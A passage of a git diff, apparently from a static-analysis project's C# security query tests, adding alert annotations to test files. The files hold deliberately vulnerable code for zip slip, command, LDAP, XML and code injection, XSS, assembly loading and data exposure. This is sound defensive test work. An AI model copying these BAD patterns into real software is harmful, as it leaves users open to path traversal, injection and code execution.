Path.GetFullPath(entry.FullName); + string fullPath = Path.GetFullPath(entry.FullName); // $ Alert[cs/zipslip]=r1 $ Alert[cs/zipslip]=r2 $ Alert[cs/zipslip]=r3 string fileName = Path.GetFileName(entry.FullName); string filename = entry.Name; - string file = entry.FullName; + string file = entry.FullName; // $ Alert[cs/zipslip]=r4 if (!string.IsNullOrEmpty(file)) { // BAD string destFileName = Path.Combine(destDirectory, file); - entry.ExtractToFile(destFileName, true); + entry.ExtractToFile(destFileName, true); // $ Sink[cs/zipslip]=r4 // GOOD string sanitizedFileName = Path.Combine(destDirectory, fileName); @@ -28,15 +28,15 @@ public static void UnzipFileByFile(ZipArchive archive, // BAD string destFilePath = Path.Combine(destDirectory, fullPath); - entry.ExtractToFile(destFilePath, true); + entry.ExtractToFile(destFilePath, true); // $ Sink[cs/zipslip]=r1 // BAD: destFilePath isn't fully resolved, so may still contain .. if (destFilePath.StartsWith(destDirectory)) - entry.ExtractToFile(destFilePath, true); + entry.ExtractToFile(destFilePath, true); // $ Sink[cs/zipslip]=r2 // BAD destFilePath = Path.GetFullPath(Path.Combine(destDirectory, fullPath)); - entry.ExtractToFile(destFilePath, true); + entry.ExtractToFile(destFilePath, true); // $ Sink[cs/zipslip]=r3 // GOOD: a check for StartsWith against a fully resolved path if (destFilePath.StartsWith(destDirectory)) @@ -58,28 +58,28 @@ private static int UnzipToStream(Stream zipStream, string installDir) foreach (ZipArchiveEntry entry in archive.Entries) { // figure out where we are putting the file - String destFilePath = Path.Combine(InstallDir, entry.FullName); + String destFilePath = Path.Combine(InstallDir, entry.FullName); // $ Alert[cs/zipslip]=r5 $ Alert[cs/zipslip]=r6 $ Alert[cs/zipslip]=r7 $ Alert[cs/zipslip]=r8 Directory.CreateDirectory(Path.GetDirectoryName(destFilePath)); using (Stream archiveFileStream = entry.Open()) { // BAD: writing to file stream - using (Stream tfsFileStream = new FileStream(destFilePath, FileMode.CreateNew, FileAccess.ReadWrite, FileShare.None)) + using (Stream tfsFileStream = new FileStream(destFilePath, FileMode.CreateNew, FileAccess.ReadWrite, FileShare.None)) // $ Sink[cs/zipslip]=r5 { Console.WriteLine(@"Writing ""{0}""", destFilePath); archiveFileStream.CopyTo(tfsFileStream); } // BAD: can do it this way too - using (Stream tfsFileStream = File.Create(destFilePath)) + using (Stream tfsFileStream = File.Create(destFilePath)) // $ Sink[cs/zipslip]=r6 { Console.WriteLine(@"Writing ""{0}""", destFilePath); archiveFileStream.CopyTo(tfsFileStream); } // BAD: creating stream using fileInfo - var fileInfo = new FileInfo(destFilePath); + var fileInfo = new FileInfo(destFilePath); // $ Sink[cs/zipslip]=r7 using (FileStream fs = fileInfo.OpenWrite()) { Console.WriteLine(@"Writing ""{0}""", destFilePath); @@ -87,7 +87,7 @@ private static int UnzipToStream(Stream zipStream, string installDir) } // BAD: creating stream using fileInfo - var fileInfo1 = new FileInfo(destFilePath); + var fileInfo1 = new FileInfo(destFilePath); // $ Sink[cs/zipslip]=r8 using (FileStream fs = fileInfo1.Open(FileMode.Create)) { Console.WriteLine(@"Writing ""{0}""", destFilePath); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.qlref b/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.qlref index f8a7ab34e883..9d8f3ad5a64b 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlip.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-022/ZipSlip.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlipBad.cs b/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlipBad.cs index fb6bce23b72f..5a996edbad86 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlipBad.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-022/ZipSlip/ZipSlipBad.cs @@ -6,7 +6,7 @@ class Bad public static void WriteToDirectory(ZipArchiveEntry entry, string destDirectory) { - string destFileName = Path.Combine(destDirectory, entry.FullName); - entry.ExtractToFile(destFileName); + string destFileName = Path.Combine(destDirectory, entry.FullName); // $ Alert[cs/zipslip]=r9 + entry.ExtractToFile(destFileName); // $ Sink[cs/zipslip]=r9 } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.cs b/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.cs index df3db94b4335..36ece73221e3 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.cs @@ -24,16 +24,16 @@ class CommandInjection public void WebCommandInjection() { // BAD: Reading from textbox, then using that in the arguments and file name - string userInput = categoryTextBox.Text; - Process.Start("foo.exe" + userInput, "/c " + userInput); + string userInput = categoryTextBox.Text; // $ Source[cs/command-line-injection]=r1 $ Source[cs/command-line-injection]=r2 $ Source[cs/command-line-injection]=r3 $ Source[cs/command-line-injection]=r4 $ Source[cs/command-line-injection]=r5 $ Source[cs/command-line-injection]=r6 $ Source[cs/command-line-injection]=r7 + Process.Start("foo.exe" + userInput, "/c " + userInput); // $ Alert[cs/command-line-injection]=r1 $ Alert[cs/command-line-injection]=r2 - ProcessStartInfo startInfo = new ProcessStartInfo(userInput, userInput); + ProcessStartInfo startInfo = new ProcessStartInfo(userInput, userInput); // $ Alert[cs/command-line-injection]=r3 $ Alert[cs/command-line-injection]=r4 Process.Start(startInfo); ProcessStartInfo startInfoProps = new ProcessStartInfo(); - startInfoProps.FileName = userInput; - startInfoProps.Arguments = userInput; - startInfoProps.WorkingDirectory = userInput; + startInfoProps.FileName = userInput; // $ Alert[cs/command-line-injection]=r5 + startInfoProps.Arguments = userInput; // $ Alert[cs/command-line-injection]=r6 + startInfoProps.WorkingDirectory = userInput; // $ Alert[cs/command-line-injection]=r7 Process.Start(startInfoProps); } @@ -43,12 +43,12 @@ public void StoredCommandInjection() { connection.Open(); SqlCommand customerCommand = new SqlCommand("SELECT * FROM customers", connection); - SqlDataReader customerReader = customerCommand.ExecuteReader(); + SqlDataReader customerReader = customerCommand.ExecuteReader(); // $ Source[cs/command-line-injection]=r8 while (customerReader.Read()) { // BAD: Read from database, and use it to directly execute a command - Process.Start("foo.exe", "/c " + customerReader.GetString(1)); + Process.Start("foo.exe", "/c " + customerReader.GetString(1)); // $ Alert[cs/command-line-injection]=r8 } customerReader.Close(); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.qlref index 366f5105393f..607983370399 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-078/CommandInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-078/CommandInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.cs b/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.cs index 1096634b6903..1e30735d3265 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.cs @@ -14,12 +14,12 @@ public void processRequest(HttpContext context) { connection.Open(); SqlCommand customerCommand = new SqlCommand("SELECT * FROM customers", connection); - SqlDataReader customerReader = customerCommand.ExecuteReader(); + SqlDataReader customerReader = customerCommand.ExecuteReader(); // $ Source[cs/web/xss]=r1 while (customerReader.Read()) { // BAD: Read from database, write it straight to a response - context.Response.Write("Orders for " + customerReader.GetString(1)); + context.Response.Write("Orders for " + customerReader.GetString(1)); // $ Alert[cs/web/xss]=r1 } customerReader.Close(); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.qlref b/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.qlref index 89b5b951bdb6..a71d47846701 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-079/StoredXSS/StoredXSS.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-079/XSS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.cs b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.cs index eba40b891d58..6db6b4fc4b68 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.cs @@ -23,10 +23,10 @@ public void WebUIXSS() { // BAD: Reading from textbox, then writing an amended value to a control that does not HTML encode StringBuilder userInput = new StringBuilder(); - userInput.AppendFormat("{0} test", categoryTextBox.Text); - calendar.Caption = userInput.ToString(); - table.Caption = userInput.ToString(); - label.Text = userInput.ToString(); + userInput.AppendFormat("{0} test", categoryTextBox.Text); // $ Source[cs/web/xss]=r1 $ Source[cs/web/xss]=r2 $ Source[cs/web/xss]=r3 + calendar.Caption = userInput.ToString(); // $ Alert[cs/web/xss]=r1 + table.Caption = userInput.ToString(); // $ Alert[cs/web/xss]=r2 + label.Text = userInput.ToString(); // $ Alert[cs/web/xss]=r3 // GOOD: Reading from textbox, then writing an amended value to a control that does HTML encode categoryTextBox.Text = userInput.ToString(); @@ -35,8 +35,8 @@ public void WebUIXSS() public void processRequest(HttpContext context) { // BAD: Read user input from a request, write it straight to a response - string name = context.Request.QueryString["name"]; - context.Response.Write(name); + string name = context.Request.QueryString["name"]; // $ Source[cs/web/xss]=r4 + context.Response.Write(name); // $ Alert[cs/web/xss]=r4 // GOOD: Read user input from a request, but encode it before writing to the response string name2 = context.Request.QueryString["name"]; @@ -55,9 +55,9 @@ public void processNumber(HttpContext context) public void mvcProcess(HttpContext context) { // BAD: Mimic what happens in cshtml pages - string name = context.Request.Unvalidated.QueryString["name"]; + string name = context.Request.Unvalidated.QueryString["name"]; // $ Source[cs/web/xss]=r5 HtmlHelper html = new HtmlHelper(null, null); - html.Raw(name); + html.Raw(name); // $ Alert[cs/web/xss]=r5 } public void listener(HttpContext context) @@ -73,27 +73,27 @@ public void listener(HttpContext context) public void contextBase(HttpContextBase context) { // BAD: Writing user input directly to a HttpListenerResponse - string name = context.Request.QueryString["name"]; - context.Response.Write(name); + string name = context.Request.QueryString["name"]; // $ Source[cs/web/xss]=r6 + context.Response.Write(name); // $ Alert[cs/web/xss]=r6 // BAD: Writing user input directly to a HttpListenerResponse - string name2 = context.Request["name"]; - context.Response.Write(name2); + string name2 = context.Request["name"]; // $ Source[cs/web/xss]=r7 + context.Response.Write(name2); // $ Alert[cs/web/xss]=r7 } public void htmlStrings(HttpContextBase context) { // BAD: Writing user input into a HtmlString without encoding - string name = context.Request.QueryString["name"]; - new HtmlString(name); - new MvcHtmlString(name); + string name = context.Request.QueryString["name"]; // $ Source[cs/web/xss]=r8 $ Source[cs/web/xss]=r9 + new HtmlString(name); // $ Alert[cs/web/xss]=r8 + new MvcHtmlString(name); // $ Alert[cs/web/xss]=r9 new MyHtmlString(context.Request); } public void WebContent(HttpContextBase context) { // BAD: Writing user input into a StringContent without encoding - string name = context.Request.QueryString["name"]; - new StringContent(name); + string name = context.Request.QueryString["name"]; // $ Source[cs/web/xss]=r10 + new StringContent(name); // $ Alert[cs/web/xss]=r10 } public void HtmlEncoded(HttpContextBase context) @@ -137,7 +137,7 @@ public MyHtmlString(HttpRequestBase request) public string ToHtmlString() { - return Request.RawUrl; + return Request.RawUrl; // $ Alert[cs/web/xss]=r11 $ Alert[cs/web/xss]=r11 } } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.qlref b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.qlref index 89b5b951bdb6..a71d47846701 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/XSS.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-079/XSS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/script.aspx b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/script.aspx index 5dd4830d7567..7581e301c02f 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/script.aspx +++ b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSAsp/script.aspx @@ -9,13 +9,13 @@ diff --git a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSRazorPages/XSS.qlref b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSRazorPages/XSS.qlref index faad1d6403c1..553ccc892d04 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-079/XSSRazorPages/XSS.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-079/XSSRazorPages/XSS.qlref @@ -1 +1,2 @@ -Security Features/CWE-079/XSS.ql \ No newline at end of file +query: Security Features/CWE-079/XSS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.cs b/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.cs index ddd24e19729f..725d5bbe93c0 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.cs @@ -9,36 +9,36 @@ public class LDAPInjectionHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - string userName = ctx.Request.QueryString["username"]; + string userName = ctx.Request.QueryString["username"]; // $ Source[cs/ldap-injection]=r1 $ Source[cs/ldap-injection]=r2 $ Source[cs/ldap-injection]=r3 $ Source[cs/ldap-injection]=r4 $ Source[cs/ldap-injection]=r5 $ Source[cs/ldap-injection]=r6 // BAD: Filter includes user input without encoding - DirectorySearcher ds = new DirectorySearcher("accountname=" + userName); + DirectorySearcher ds = new DirectorySearcher("accountname=" + userName); // $ Alert[cs/ldap-injection]=r1 DirectorySearcher ds2 = new DirectorySearcher(); - ds.Filter = "accountname=" + userName; + ds.Filter = "accountname=" + userName; // $ Alert[cs/ldap-injection]=r2 // GOOD: Filter includes user input with encoding DirectorySearcher ds3 = new DirectorySearcher("accountname=" + LDAPEncode(userName)); // BAD: SearchRequest Filter includes user input without encoding SearchRequest sr = new SearchRequest(); - sr.Filter = "accountname=" + userName; - SearchRequest sr2 = new SearchRequest(null, "accountname=" + userName, System.DirectoryServices.Protocols.SearchScope.Base, null); + sr.Filter = "accountname=" + userName; // $ Alert[cs/ldap-injection]=r3 + SearchRequest sr2 = new SearchRequest(null, "accountname=" + userName, System.DirectoryServices.Protocols.SearchScope.Base, null); // $ Alert[cs/ldap-injection]=r4 // BAD: Distinguished Name includes user input without encoding - DirectoryEntry de = new DirectoryEntry("LDAP://Cn=" + userName); + DirectoryEntry de = new DirectoryEntry("LDAP://Cn=" + userName); // $ Alert[cs/ldap-injection]=r5 DirectoryEntry de2 = new DirectoryEntry(); - de2.Path = "LDAP://Cn=" + userName; + de2.Path = "LDAP://Cn=" + userName; // $ Alert[cs/ldap-injection]=r6 using (SqlConnection connection = new SqlConnection("")) { connection.Open(); SqlCommand customerCommand = new SqlCommand("SELECT * FROM customers", connection); - SqlDataReader customerReader = customerCommand.ExecuteReader(); + SqlDataReader customerReader = customerCommand.ExecuteReader(); // $ Source[cs/ldap-injection]=r7 while (customerReader.Read()) { // BAD: Read from database, write it straight to a response - DirectorySearcher ds4 = new DirectorySearcher("accountname=" + customerReader.GetString(1)); + DirectorySearcher ds4 = new DirectorySearcher("accountname=" + customerReader.GetString(1)); // $ Alert[cs/ldap-injection]=r7 } customerReader.Close(); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.qlref index 06bd1eedc4f4..13eefd4645f9 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-090/LDAPInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-090/LDAPInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/Test.cs b/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/Test.cs index f9dd6f3289e8..c394ed4b8cbb 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/Test.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/Test.cs @@ -5,14 +5,14 @@ public class XMLInjectionHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - string employeeName = ctx.Request.QueryString["employeeName"]; + string employeeName = ctx.Request.QueryString["employeeName"]; // $ Source[cs/xml-injection]=r1 using (XmlWriter writer = XmlWriter.Create("employees.xml")) { writer.WriteStartDocument(); // BAD: Insert user input directly into XML - writer.WriteRaw("" + employeeName + ""); + writer.WriteRaw("" + employeeName + ""); // $ Alert[cs/xml-injection]=r1 // GOOD: Escape user input before inserting into string writer.WriteRaw("" + SecurityElement.Escape(employeeName) + ""); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.qlref index e39297fce167..96779d60ccb0 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-091/XMLInjection/XMLInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-091/XMLInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.cs b/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.cs index e03bc9821f50..a557ebf4c724 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.cs @@ -20,13 +20,13 @@ public class CommandInjectionHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - string code = ctx.Request.QueryString["code"]; + string code = ctx.Request.QueryString["code"]; // $ Source[cs/code-injection]=r1 $ Source[cs/code-injection]=r2 CSharpCodeProvider c = new CSharpCodeProvider(); ICodeCompiler icc = c.CreateCompiler(); CompilerParameters cp = new CompilerParameters(); // BAD: Compiling unvalidated code from the user - CompilerResults cr = icc.CompileAssemblyFromSource(cp, code); + CompilerResults cr = icc.CompileAssemblyFromSource(cp, code); // $ Alert[cs/code-injection]=r1 System.Reflection.Assembly a = cr.CompiledAssembly; object o = a.CreateInstance("MyNamespace.MyClass"); @@ -37,7 +37,7 @@ public void ProcessRequest(HttpContext ctx) object s = mi.Invoke(o, null); // BAD: Use the Roslyn APIs to dynamically evaluate C# - CSharpScript.EvaluateAsync(code); + CSharpScript.EvaluateAsync(code); // $ Alert[cs/code-injection]=r2 } public bool IsReusable @@ -53,6 +53,6 @@ public bool IsReusable void OnButtonClicked() { // BAD: Use the Roslyn APIs to dynamically evaluate C# - CSharpScript.EvaluateAsync(box1.Text); + CSharpScript.EvaluateAsync(box1.Text); // $ Alert[cs/code-injection]=r3 $ Alert[cs/code-injection]=r3 } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.qlref index 80eedc1b4c7c..53389dffbe49 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-094/CodeInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-094/CodeInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.cs b/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.cs index aed9219090a7..dc7666744383 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.cs @@ -5,12 +5,12 @@ public class ResourceInjectionHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - string userName = ctx.Request.QueryString["userName"]; + string userName = ctx.Request.QueryString["userName"]; // $ Source[cs/resource-injection]=r1 $ Source[cs/resource-injection]=r2 string connectionString = "server=(local);user id=" + userName + ";password= pass;"; // BAD: Direct use of user input in a connection string for the constructor - SqlConnection sqlConnection = new SqlConnection(connectionString); + SqlConnection sqlConnection = new SqlConnection(connectionString); // $ Alert[cs/resource-injection]=r1 // BAD: Direct use of user input assigned to a connection string property - sqlConnection.ConnectionString = connectionString; + sqlConnection.ConnectionString = connectionString; // $ Alert[cs/resource-injection]=r2 // GOOD: Use SqlConnectionStringBuilder SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(); builder["Data Source"] = "(local)"; diff --git a/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.qlref index 5292de5ee84f..e2e487631687 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-099/ResourceInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-099/ResourceInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.cs b/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.cs index 4ca87924c687..869b0731351f 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.cs @@ -9,22 +9,22 @@ public class MissingXMLValidationHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { - String userProvidedXml = ctx.Request.QueryString["userProvidedXml"]; + String userProvidedXml = ctx.Request.QueryString["userProvidedXml"]; // $ Source[cs/xml/missing-validation]=r1 $ Source[cs/xml/missing-validation]=r2 $ Source[cs/xml/missing-validation]=r3 $ Source[cs/xml/missing-validation]=r4 $ Source[cs/xml/missing-validation]=r5 // BAD: User provided XML is processed without any validation, // because there is no settings instance configured. - XmlReader.Create(new StringReader(userProvidedXml)); + XmlReader.Create(new StringReader(userProvidedXml)); // $ Alert[cs/xml/missing-validation]=r1 // BAD: User provided XML is processed without any validation, // because the settings instance does not specify the ValidationType XmlReaderSettings badSettings1 = new XmlReaderSettings(); - XmlReader.Create(new StringReader(userProvidedXml), badSettings1); + XmlReader.Create(new StringReader(userProvidedXml), badSettings1); // $ Alert[cs/xml/missing-validation]=r2 // BAD: User provided XML is processed without any validation, // because the settings instance specifies DTD as the ValidationType XmlReaderSettings badSettings2 = new XmlReaderSettings(); badSettings2.ValidationType = ValidationType.DTD; - XmlReader.Create(new StringReader(userProvidedXml), badSettings2); + XmlReader.Create(new StringReader(userProvidedXml), badSettings2); // $ Alert[cs/xml/missing-validation]=r3 // GOOD: User provided XML is processed with validation XmlReaderSettings goodSettings = new XmlReaderSettings(); @@ -42,7 +42,7 @@ public void ProcessRequest(HttpContext ctx) XmlSchemaSet sc2 = new XmlSchemaSet(); sc2.Add("urn:my-schema", "my.xsd"); goodSettings.Schemas = sc2; - XmlReader.Create(new StringReader(userProvidedXml), badSettings3); + XmlReader.Create(new StringReader(userProvidedXml), badSettings3); // $ Alert[cs/xml/missing-validation]=r4 $ Alert[cs/xml/missing-validation]=r5 } public bool IsReusable diff --git a/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.qlref b/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.qlref index 6f71112a01c1..3f8c9fe16878 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-112/MissingXMLValidation.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-112/MissingXMLValidation.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/AssemblyPathInjection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/AssemblyPathInjection.qlref index 5979609654f9..f789023c52dc 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/AssemblyPathInjection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/AssemblyPathInjection.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-114/AssemblyPathInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/Test.cs b/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/Test.cs index e0217a6d4866..8adba3f0dc84 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/Test.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-114/AssemblyPathInjection/Test.cs @@ -4,10 +4,10 @@ public class DLLInjectionHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - string libraryName = ctx.Request.QueryString["libraryName"]; + string libraryName = ctx.Request.QueryString["libraryName"]; // $ Source[cs/assembly-path-injection]=r1 // BAD: Load DLL based on user input - var badDLL = Assembly.LoadFile(libraryName); + var badDLL = Assembly.LoadFile(libraryName); // $ Alert[cs/assembly-path-injection]=r1 // GOOD: Load DLL using fixed string var goodDLL = Assembly.LoadFile(@"C:\visual studio 2012\Projects\ConsoleApplication1\ConsoleApplication1\DLL.dll"); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.cs b/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.cs index 4fc60b899e67..42cc1062c2da 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.cs @@ -14,7 +14,7 @@ public unsafe void CalcPointer(PossiblyOverridableClass possiblyOverridable, cha fixed (char* charPointer = charArray) { // BAD: Unvalidate use in pointer arithmetic - char* newCharPointer = charPointer + possiblyOverridable.getNumber(); + char* newCharPointer = charPointer + possiblyOverridable.getNumber(); // $ Alert *newCharPointer = 'A'; // BAD: Unvalidate use in pointer arithmetic int number = possiblyOverridable.getNumber(); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.qlref b/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.qlref index c6b75e927954..13eea010dbe7 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-119/LocalUnvalidatedArithmetic.qlref @@ -1 +1,2 @@ -Security Features/CWE-119/LocalUnvalidatedArithmetic.ql \ No newline at end of file +query: Security Features/CWE-119/LocalUnvalidatedArithmetic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.cs b/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.cs index e993bc368ae7..387c9959df59 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.cs @@ -11,26 +11,26 @@ public void ProcessRequest(HttpContext ctx) try { var password = "123456"; - ctx.Response.Write(password); // BAD + ctx.Response.Write(password); // BAD // $ Alert[cs/sensitive-data-transmission]=r1 $ Alert[cs/sensitive-data-transmission]=r1 } catch (System.Data.SqlClient.SqlException ex) { - ctx.Response.Write(ex.ToString()); // BAD + ctx.Response.Write(ex.ToString()); // BAD // $ Alert[cs/sensitive-data-transmission]=r2 $ Alert[cs/sensitive-data-transmission]=r2 } catch (DbException ex) { - ctx.Response.Write(ex.Message); // BAD - ctx.Response.Write(ex.ToString()); // BAD - ctx.Response.Write(ex.Data["password"]); // BAD + ctx.Response.Write(ex.Message); // BAD // $ Alert[cs/sensitive-data-transmission]=r3 $ 